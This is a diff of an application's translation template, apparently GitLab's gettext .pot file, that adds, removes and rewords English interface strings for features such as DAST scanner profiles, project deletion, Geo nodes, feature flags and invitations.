@@ -7551,25 +7742,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7578,7 +7799,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7590,6 +7820,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7599,12 +7832,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7677,7 +7967,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7755,10 +8045,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -7815,6 +8105,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7836,15 +8129,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -7854,6 +8156,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7880,6 +8185,11 @@ msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] ""
msgstr[1] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7888,6 +8198,9 @@ msgstr[1] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7900,6 +8213,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -7918,6 +8234,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -7956,8 +8275,8 @@ msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
msgstr[1] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
@@ -8002,7 +8321,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8236,13 +8555,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8275,15 +8603,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8365,7 +8684,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8374,6 +8696,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8386,7 +8711,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8491,9 +8819,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8508,7 +8833,7 @@ msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
msgstr[1] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8760,9 +9085,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9051,9 +9373,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9222,6 +9541,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9246,7 +9568,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9525,6 +9847,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9852,7 +10177,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9873,6 +10198,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9882,9 +10210,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9897,9 +10222,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -9909,9 +10231,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -9924,9 +10243,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10358,12 +10674,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10448,6 +10770,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10457,9 +10782,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10499,6 +10821,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10724,6 +11049,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -10895,30 +11223,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -10934,12 +11247,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -10967,12 +11274,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -10994,15 +11295,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11030,27 +11322,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11063,6 +11340,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11126,6 +11409,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11258,10 +11547,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11438,7 +11727,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11555,7 +11844,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11837,6 +12129,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12113,7 +12408,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12326,6 +12621,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12341,6 +12639,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12471,6 +12772,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12627,6 +12931,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12780,6 +13090,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12795,6 +13108,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12807,13 +13123,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -12822,21 +13138,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12849,6 +13168,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12867,6 +13189,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -12942,6 +13267,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -13008,6 +13336,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13022,7 +13353,7 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13049,6 +13380,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13061,13 +13398,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13097,7 +13431,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13109,9 +13443,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13208,6 +13548,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13247,6 +13620,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13346,9 +13722,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13490,6 +13863,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13532,6 +13908,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13547,6 +13926,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13835,7 +14217,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14065,7 +14447,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14164,10 +14546,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14194,6 +14576,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14257,9 +14642,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14275,9 +14657,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14331,6 +14710,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14352,6 +14734,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14403,7 +14788,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14454,6 +14839,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14469,6 +14860,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14553,9 +14947,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14667,9 +15058,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14805,6 +15193,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14814,9 +15211,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
